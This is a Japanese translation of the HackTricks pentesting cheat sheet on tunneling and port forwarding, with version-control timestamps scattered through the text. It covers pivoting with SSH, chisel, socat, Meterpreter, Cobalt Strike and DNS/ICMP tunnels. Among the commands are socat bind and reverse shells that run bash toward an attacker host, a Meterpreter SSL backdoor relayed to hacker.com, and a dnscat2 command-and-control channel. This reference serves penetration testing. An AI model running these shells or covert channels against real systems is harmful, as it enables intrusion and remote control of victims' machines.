2023-07-07 23:42:27 +00:00
# トンネリングとポートフォワーディング
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 15:55:19 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > を通じてゼロからヒーローまでAWSハッキングを学ぶ< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-26 15:55:19 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASS& HackTricksスウォッグ** ](https://peass.creator-spring.com )を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2024-03-14 23:41:41 +00:00
**Try Hard Security Group**
2024-03-26 15:55:19 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:41:41 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2023-07-07 23:42:27 +00:00
## Nmapのヒント
2022-08-14 10:22:31 +00:00
{% hint style="warning" %}
2024-03-26 15:55:19 +00:00
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを機能させるには**ping discoveryを無効に**( `-Pn`)し、**TCPスキャン**( `-sT`)を指定する必要があります。
2022-08-14 10:22:31 +00:00
{% endhint %}
2022-07-12 09:09:35 +00:00
## **Bash**
2023-07-07 23:42:27 +00:00
**ホスト -> ジャンプ -> 内部A -> 内部B**
2022-07-12 09:09:35 +00:00
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
2022-07-30 10:31:46 +00:00
nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
2022-07-12 09:09:35 +00:00
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
2022-07-30 10:31:46 +00:00
exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
2022-07-12 09:09:35 +00:00
2022-10-11 08:23:55 +00:00
# From the host, you can now access InternalB from the Jump server
2022-07-12 09:09:35 +00:00
evil-winrm -u username -i Jump
```
2022-05-08 23:13:03 +00:00
## **SSH**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
SSHグラフィカル接続( X)
2020-07-15 15:43:14 +00:00
```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
2024-02-07 05:47:12 +00:00
### ローカルポートツーポート
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
SSHサーバーで新しいポートを開く --> 他のポート
2020-07-15 15:43:14 +00:00
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
2024-02-07 05:47:12 +00:00
### ポートツーポート
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
ローカルポート --> 侵害されたホスト( SSH) --> 第三のボックス:ポート
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
2020-07-15 15:43:14 +00:00
#Example
2020-09-04 18:29:25 +00:00
sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Port2hostnet (proxychains)
2020-07-15 15:43:14 +00:00
2024-03-24 12:35:04 +00:00
ローカルポート --> 危険にさらされたホスト( SSH) --> どこでも
2020-07-15 15:43:14 +00:00
```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
2023-07-07 23:42:27 +00:00
### リバースポートフォワーディング
2020-07-15 15:43:14 +00:00
2024-02-07 05:47:12 +00:00
これは、内部ホストから DMZ を介してホストにリバースシェルを取得するために役立ちます。
2022-10-02 15:25:27 +00:00
```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
2023-07-07 23:42:27 +00:00
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
2022-10-02 15:25:27 +00:00
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
2023-07-07 23:42:27 +00:00
### VPNトンネル
2022-10-02 15:25:27 +00:00
2024-03-26 15:55:19 +00:00
両方のデバイスで**root権限**が必要です( 新しいインターフェースを作成するため) そしてsshdの設定でrootログインを許可する必要があります:\
2022-05-08 23:13:03 +00:00
`PermitRootLogin yes` \
2020-07-15 15:43:14 +00:00
`PermitTunnel yes`
```bash
2022-12-30 09:44:03 +00:00
ssh root@server -w any:any #This will create Tun interfaces in both devices
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the client side network interface
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the server side network interface
2020-07-15 15:43:14 +00:00
```
2024-02-07 05:47:12 +00:00
サーバーサイドで転送を有効にします。
2020-07-15 15:43:14 +00:00
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
2023-07-07 23:42:27 +00:00
クライアント側で新しいルートを設定します。
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
route add -net 10.0.0.0/16 gw 1.1.1.1
```
2022-05-08 23:13:03 +00:00
## SSHUTTLE
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
**SSHUTTLE**を使用して、ホストを介してサブネットワークへのすべてのトラフィックを**SSH**経由で**トンネリング**できます。\
2024-03-24 13:42:44 +00:00
たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送する場合
2020-07-15 15:43:14 +00:00
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
2023-07-07 23:42:27 +00:00
プライベートキーを使用して接続します。
2022-12-28 14:17:50 +00:00
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
2022-05-08 23:13:03 +00:00
## Meterpreter
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### ポートツーポート
2020-07-15 15:43:14 +00:00
2024-02-07 05:47:12 +00:00
ローカルポート --> 侵害されたホスト(アクティブセッション) --> サードボックス:ポート
2020-07-15 15:43:14 +00:00
```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
2024-02-07 05:47:12 +00:00
### SOCKS
2023-07-07 23:42:27 +00:00
2024-03-26 15:55:19 +00:00
SOCKS( Socket Secure) は、ネットワークソケットを通じてトラフィックを転送するためのプロトコルです。通常、ファイアウォールをバイパスするために使用されます。
2020-07-15 15:43:14 +00:00
```bash
background# meterpreter session
2020-12-29 16:25:19 +00:00
route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
2024-03-26 15:55:19 +00:00
もう一つの方法:
2020-07-15 15:43:14 +00:00
```bash
background #meterpreter session
2020-12-29 16:33:11 +00:00
use post/multi/manage/autoroute
2020-07-15 15:43:14 +00:00
set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
set VERSION 4a
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
2020-12-29 16:38:01 +00:00
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
2020-07-15 15:43:14 +00:00
```
2022-08-14 10:22:31 +00:00
## Cobalt Strike
2024-02-07 05:47:12 +00:00
### SOCKS proxy
2022-08-14 10:22:31 +00:00
2024-03-24 12:35:04 +00:00
**ビーコンを介してトラフィックをルーティング**するために使用できるすべてのインターフェースでリッスンしているチームサーバーでポートを開きます。
2022-08-14 10:22:31 +00:00
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
2022-08-14 12:59:30 +00:00
### rPort2Port
{% hint style="warning" %}
2024-03-24 13:42:44 +00:00
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく、そこから指定されたホスト:ポートにトラフィックが送信されます。
2022-08-14 12:59:30 +00:00
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
2024-02-07 05:47:12 +00:00
### rPort2Port ローカル
2022-08-14 12:59:30 +00:00
{% hint style="warning" %}
2024-03-26 15:55:19 +00:00
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく**トラフィックはCobalt Strikeクライアントに送信**され、そこから指定されたホスト:ポートに送信されます。
2022-08-14 12:59:30 +00:00
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
2022-05-08 23:13:03 +00:00
## reGeorg
2020-07-15 15:43:14 +00:00
[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
2024-02-07 05:47:12 +00:00
Webファイルトンネルをアップロードする必要があります: ashx|aspx|js|jsp|php|php|jsp
2020-07-15 15:43:14 +00:00
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
2022-05-08 23:13:03 +00:00
## Chisel
2020-09-04 15:28:12 +00:00
2023-07-07 23:42:27 +00:00
[https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )のリリースページからダウンロードできます。\
2024-02-07 05:47:12 +00:00
**クライアントとサーバーで同じバージョンを使用する必要があります**
2020-09-04 15:28:12 +00:00
2022-05-08 23:13:03 +00:00
### socks
2020-09-04 15:28:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
2021-01-09 12:25:38 +00:00
#And now you can use proxychains with port 1080 (default)
2022-10-05 21:51:12 +00:00
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
2020-09-04 15:28:12 +00:00
```
2024-02-07 05:47:12 +00:00
### ポート転送
2021-03-24 04:37:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
2021-03-24 04:37:12 +00:00
```
2022-05-08 23:13:03 +00:00
## Rpivot
2020-07-15 15:43:14 +00:00
[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
2023-07-07 23:42:27 +00:00
リバーストンネル。トンネルは被害者から開始されます。\
2024-02-07 05:47:12 +00:00
127.0.0.1:1080 に socks4 プロキシが作成されます。
2020-07-15 15:43:14 +00:00
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
2024-02-07 05:47:12 +00:00
**NTLMプロキシ**を介してピボット
2020-07-15 15:43:14 +00:00
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
2022-05-08 23:13:03 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2023-07-07 23:42:27 +00:00
### バインドシェル
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2022-10-05 21:51:12 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### リバースシェル
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2023-07-07 23:42:27 +00:00
### ポートツーポート
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
2020-07-15 15:43:14 +00:00
```
2024-02-07 05:47:12 +00:00
### ソックスを介したポートツーポート
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
2020-07-15 15:43:14 +00:00
```
2024-02-07 05:47:12 +00:00
### SSLソケットを介したMeterpreter
2020-07-15 15:43:14 +00:00
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
2024-02-07 05:47:12 +00:00
あなたは、被害者のコンソールで最後の行の代わりにこの行を実行することで、**非認証プロキシ**をバイパスすることができます:
2020-07-15 15:43:14 +00:00
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
2022-05-08 23:13:03 +00:00
### SSL Socat Tunnel
2020-07-15 15:43:14 +00:00
2024-02-07 05:47:12 +00:00
**/bin/sh コンソール**
2020-07-15 15:43:14 +00:00
2024-03-24 13:42:44 +00:00
両側で証明書を作成します:クライアントとサーバー
2020-07-15 15:43:14 +00:00
```bash
2022-09-13 13:07:37 +00:00
# Execute these commands on both sides
2020-07-15 15:43:14 +00:00
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
2024-02-07 05:47:12 +00:00
### リモートポートツーポート
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
ローカルのSSHポート( 22) を攻撃者ホストの443ポートに接続します。
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
2020-07-15 15:43:14 +00:00
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
2022-05-08 23:13:03 +00:00
## Plink.exe
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
これはコンソール版のPuTTYのようなものです( オプションはsshクライアントに非常に似ています) 。
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
このバイナリは被害者で実行されるため、sshクライアントであるため、逆接続を持つためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートにフォワーディングするだけです:
2020-07-15 15:43:14 +00:00
```bash
2021-01-03 00:43:09 +00:00
echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
## Windows netsh
2024-02-07 05:47:12 +00:00
### ポートツーポート
2022-10-05 21:51:12 +00:00
2024-02-07 05:47:12 +00:00
任意のポートに対してローカル管理者である必要があります。
2022-10-05 21:51:12 +00:00
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
2023-07-07 23:42:27 +00:00
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
2022-10-05 21:51:12 +00:00
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
2024-03-24 12:35:04 +00:00
**システム上でのRDPアクセスが必要です。**\
2023-07-07 23:42:27 +00:00
ダウンロード:
2022-10-05 21:51:12 +00:00
2024-03-24 12:35:04 +00:00
1. [SocksOverRDP x64 バイナリ ](https://github.com/nccgroup/SocksOverRDP/releases ) - このツールはWindowsのRemote Desktop Service機能から`Dynamic Virtual Channels` (`DVC`)を使用します。 DVCは**RDP接続を介してパケットをトンネリング**する責任があります。
2023-07-07 23:42:27 +00:00
2. [Proxifier ポータブルバイナリ ](https://www.proxifier.com/download/#win-tab )
2022-10-05 21:51:12 +00:00
2024-03-26 15:55:19 +00:00
クライアントコンピューターで**`SocksOverRDP-Plugin.dll`**をロードします。
2022-10-05 21:51:12 +00:00
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
2024-03-24 13:42:44 +00:00
Now we can **connect** to the **victim** over **RDP** using ** `mstsc.exe` **, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled** , and it will **listen** on **127.0.0.1:1080** .
2022-10-05 21:51:12 +00:00
2024-03-24 13:42:44 +00:00
**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:
2022-10-05 21:51:12 +00:00
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
2024-02-07 05:47:12 +00:00
今、あなたのマシン( 攻撃者) でポート1080がリッスンしていることを確認してください:
2022-10-05 21:51:12 +00:00
```
netstat -antb | findstr 1080
```
2024-03-26 15:55:19 +00:00
Now you can use [**Proxifier** ](https://www.proxifier.com/ ) **to proxy the traffic through that port.**
2022-10-05 21:51:12 +00:00
2024-03-26 15:55:19 +00:00
## Proxify Windows GUI Apps
2022-08-14 10:22:31 +00:00
2024-03-26 15:55:19 +00:00
Windows GUIアプリをプロキシ経由で操作するには、[**Proxifier**](https://www.proxifier.com/) を使用できます。\
2024-03-24 13:42:44 +00:00
**Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\
2024-03-26 15:55:19 +00:00
**Profile -> Proxification Rules** でプロキシを適用するプログラム名とプロキシを適用したいIPへの接続を追加します。
2022-08-14 10:22:31 +00:00
2024-03-26 15:55:19 +00:00
## NTLM proxy bypass
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
先述のツール: **Rpivot** \
**OpenVPN** もこれをバイパスでき、構成ファイルで次のオプションを設定します:
2020-07-15 15:43:14 +00:00
```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
2022-05-08 23:13:03 +00:00
### Cntlm
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
プロキシに対して認証し、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介して選択したツールを使用できます。\
2024-03-24 12:35:04 +00:00
たとえば、ポート443を転送します。
2022-05-08 23:13:03 +00:00
```
2023-07-07 23:42:27 +00:00
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
2020-07-15 15:43:14 +00:00
Tunnel 2222:< attackers_machine > :443
```
2024-02-07 05:47:12 +00:00
Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## YARP
2020-07-15 15:43:14 +00:00
2024-02-07 05:47:12 +00:00
A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy ](https://github.com/microsoft/reverse-proxy )
2020-07-15 15:43:14 +00:00
2024-02-07 05:47:12 +00:00
## DNS Tunneling
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Iodine
2020-07-15 15:43:14 +00:00
[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
2024-02-07 05:47:12 +00:00
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
2024-02-07 05:47:12 +00:00
トンネルは非常に遅くなります。次の方法を使用して、このトンネルを介して圧縮されたSSH接続を作成できます:
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
2022-05-08 23:13:03 +00:00
### DNSCat2
2020-07-15 15:43:14 +00:00
2024-03-24 13:42:44 +00:00
[**ここからダウンロードしてください** ](https://github.com/iagox86/dnscat2 )**.**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
DNSを介してC\&Cチャネルを確立します。ルート権限は必要ありません。
2020-07-15 15:43:14 +00:00
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
2022-10-05 21:51:12 +00:00
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
2020-07-15 15:43:14 +00:00
```
2024-02-07 05:47:12 +00:00
#### **PowerShell**
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
[**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell )を使用して、PowerShellでdnscat2クライアントを実行できます:
2022-10-05 21:51:12 +00:00
```
Import-Module .\dnscat2.ps1
2023-07-07 23:42:27 +00:00
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
2022-10-05 21:51:12 +00:00
```
2024-02-09 01:39:37 +00:00
#### **dnscatを使用したポート転送**
2020-07-15 15:43:14 +00:00
```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
2024-02-07 05:47:12 +00:00
#### プロキシチェーンのDNSの変更
2020-07-15 15:43:14 +00:00
2024-03-26 15:55:19 +00:00
Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**( ハードコードされています) 。変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
2020-07-15 15:43:14 +00:00
2024-02-07 05:47:12 +00:00
## Goでのトンネル
2020-07-15 15:43:14 +00:00
[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
2023-07-07 23:42:27 +00:00
## ICMPトンネリング
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Hans
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
2020-07-15 15:43:14 +00:00
[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
2024-03-24 13:42:44 +00:00
両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してそれらの間でデータをトンネリングするために必要です。
2020-07-15 15:43:14 +00:00
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
2022-10-05 21:51:12 +00:00
### ptunnel-ng
2024-02-07 05:47:12 +00:00
[**ここからダウンロードしてください** ](https://github.com/utoni/ptunnel-ng.git ).
2022-10-05 21:51:12 +00:00
```bash
# Generate it
2023-07-07 23:42:27 +00:00
sudo ./autogen.sh
2022-10-05 21:51:12 +00:00
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
2023-03-15 12:00:16 +00:00
## ngrok
2024-02-07 05:47:12 +00:00
**[ngrok](https://ngrok.com/)は、1つのコマンドラインでインターネットにソリューションを公開するためのツールです。**
*エクスポージョンURIは次のようになります:* **UID.ngrok.io**
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
### インストール
2023-03-15 12:00:16 +00:00
2024-02-07 05:47:12 +00:00
- アカウントを作成: https://ngrok.com/signup
- クライアントのダウンロード:
2023-03-15 12:00:16 +00:00
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
2023-07-07 23:42:27 +00:00
### 基本的な使用法
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
**ドキュメント:** [https://ngrok.com/docs/getting-started/ ](https://ngrok.com/docs/getting-started/ ).
2023-03-15 12:00:16 +00:00
2024-02-07 05:47:12 +00:00
*必要に応じて、認証およびTLSを追加することも可能です。*
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
#### TCPトンネリング
2023-03-15 12:00:16 +00:00
```bash
2023-07-07 23:42:27 +00:00
# Pointing to 0.0.0.0:4444
2023-03-15 12:00:16 +00:00
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
2024-03-24 13:42:44 +00:00
#### HTTPを使用してファイルを公開
2023-03-15 12:00:16 +00:00
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
2023-07-07 23:42:27 +00:00
#### HTTPコールのスニッフィング
2023-03-15 12:00:16 +00:00
2024-03-26 15:55:19 +00:00
*XSS、SSRF、SSTIなどに便利...*
2024-03-24 12:35:04 +00:00
標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。
#### 内部HTTPサービスのトンネリング
2023-03-15 12:00:16 +00:00
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
2023-07-07 23:42:27 +00:00
#### ngrok.yamlのシンプルな設定例
2023-03-15 12:00:16 +00:00
2024-02-07 05:47:12 +00:00
3つのトンネルを開きます:
- 2つはTCP
2024-03-26 15:55:19 +00:00
- 1つは/tmp/httpbin/からの静的ファイル公開を行うHTTP
2023-03-15 12:00:16 +00:00
```yaml
tunnels:
2023-07-07 23:42:27 +00:00
mytcp:
addr: 4444
